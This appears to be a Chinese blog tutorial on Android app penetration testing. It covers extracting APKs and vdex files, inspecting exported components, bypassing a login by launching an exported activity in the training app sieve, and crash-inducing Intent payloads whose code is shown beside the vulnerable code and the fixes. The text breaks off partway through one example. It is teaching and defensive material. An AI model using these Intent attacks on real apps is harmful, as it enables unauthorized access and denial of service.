android app渗透测试-Activity、Service

Android App中可能出现的安全漏洞的类型:

  1. 协议——通信协议(本地、网络),协议大部分是由C/C++实现,存在以下安全问题:通信数据引发的逻辑漏洞;通信数据引发的缓冲区溢出等可能导致远程代码执行/拒绝服务的代码漏洞。
  2. 组件安全——Activity,Service服务,Content Provider内容提供者,BroadcastReceiver广播接收器中可能存在的安全问题,其中最主要的就是intent组件通信导致的拒绝服务/越权漏洞。
  3. 开放端口——可通过命令查看各APP运行时存在的开放端口,然后去逆向分析APP查看其在此开放端口上进行的操作,从而找寻可能的漏洞。
  4. IPC(进程间通信)安全——同1。
  5. 文件读写安全/数据加密安全——Android平台上的隐私泄露也是一个值得关注的攻击面。

在这里插入图片描述

在这里插入图片描述

思维导图来源

获取apk源代码

通过adb获取android系统应用或者第三方app:

adb shell pm path app包名
adb pull apk路径

如果是系统应用,可能因为优化,源代码不在apk文件,而是在vdex文件中:

  • vdex是dex代码直接转化的可执行二进制码文件
  • 第一次开机就会生成在/system/app/<packagename>/oat/下;
  • 在系统运行过程中,虚拟机将其从 /system/app 下copy到/data/davilk-cache/
  • 通过vdexExtrator可以将vdex转成dex,然后继续进行分析

关于vdex更多知识

例子:

下图是Genymotion模拟器中蓝牙系统应用的vdex文件路径,比一般的安卓系统相比把arm换成了x86

在这里插入图片描述

拉取vdex到本地:

在这里插入图片描述

vdexExtrator使用

在kali里面安装编译vdexExtrator中的工具,转化vdex为dex,下图适用于Android9以上的情况

在这里插入图片描述

在这里插入图片描述

将Bluetooth.apk拖入JEB中查看Manifest文件:

在这里插入图片描述

将Bluetooth.dex拖入JEB中查看源码:

在这里插入图片描述

观察清单文件

这些组件会在apk的AndroidManifest.xml中声明,需要重点关注可导出的组件:

  • 具备exported=true属性的组件
  • 配置了intent-filterservice默认是可导出的

这些组件会直接对外提供服务,容易直接受到攻击

  • 要重点看这些组件的permission,是否第三方app可调用,还是仅系统进程可调用
  • 如果没对调用进行权限限制或者是没有对调用者的身份进行有效的验证,那么恶意构造的APP都可以传入恰当的参数进行调用,导致恶意的行为发生,比如说调用具有system权限的删除卸载服务删除卸载其他应用

防护方面可以将android:protectionLevel从normal提升到dangerous、signature,组件权限设置参考

Activity漏洞挖掘

Activity越权漏洞示例

例子:sieve.apk

例子下载以及相关知识详见

应用正常交互流程

Genymotion打开应用,交互顺序如下:

首先要求输入密码:

在这里插入图片描述

在提交password之后,再输入pin:

在这里插入图片描述

然后要求输入刚才的密码:

在这里插入图片描述

点击登录后,可进入“Your Passwords”页面:

在这里插入图片描述

JEB反编译查看攻击面

可以知道包名为com.mwr.example.sieve

可以看到除了启动activity之外,还有两个activity导出为true

在这里插入图片描述

实现越权绕过

使用adroid studio编写testseive应用,直接调用导出activity,实现越权绕过

// 要调用的包名
String mPackageName="com.mwr.example.sieve";
// 要调用的activity
String mActivityName="com.mwr.example.sieve.PWList";
Intent intent=new Intent();
intent.setComponent(new ComponentName(mPackageName,mActivityName));
// 启动intent
startActivityForResult(intent,1);

在这里插入图片描述

构建并运行testseive应用,可以看到能够直接进入“Your Passwords”页面,实现越权绕过

在这里插入图片描述

防护策略
  • 私有Activity不应被其他应用启动,创建activity时,设置exported属性为false
  • 公开暴露的Activity组件,可以被任意应用启动,需要谨慎处理接收的Intent,不应发送敏感信息,收到返回数据谨慎处理

Activity拒绝服务攻击

参考链接

NullPointerException

源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致空指针异常而导致应用崩溃

漏洞应用代码片段:

Intent i = new Intent();
if (i.getAction().equals("TestForNullPointerException")) {
   
    Log.d("TAG", "Test for Android Refuse Service Bug");
}

攻击应用代码片段:

不提供action,直接启动activity就可以导致崩溃

adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivity
ClassCastException示例

源于程序没有对 getSerializableExtra() 等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常而导致应用崩溃

漏洞应用代码片段:

Intent i = getIntent();
String test = (String)i.getSerializableExtra("serializable_key");

攻击应用代码片段:

Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);

先启动漏洞app,再启动攻击app,漏洞app就会crash:

在这里插入图片描述

可以看到android studio中的类型转换报错:

在这里插入图片描述

IndexOutOfBoundsException

源于程序没有对 getIntegerArrayListExtra() 等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃

漏洞应用代码片段:

Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
if (intArray != null) {
   
    // 没有对intArray大小进行检验
    for (int i = 0; i<10; i++) {
   
        intArray.get(i);
    }
}

攻击应用代码片段:

Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
ArrayList<Integer> user_id = new ArrayList<Integer>();
i.putExtra("user_id", user_id);
startActivity(i);

android studio报错:

在这里插入图片描述

ClassNotFoundException

源于程序没有无法找到从 getSerializableExtra() 获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃

漏洞应用代码片段:

Intent i = getIntent
  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值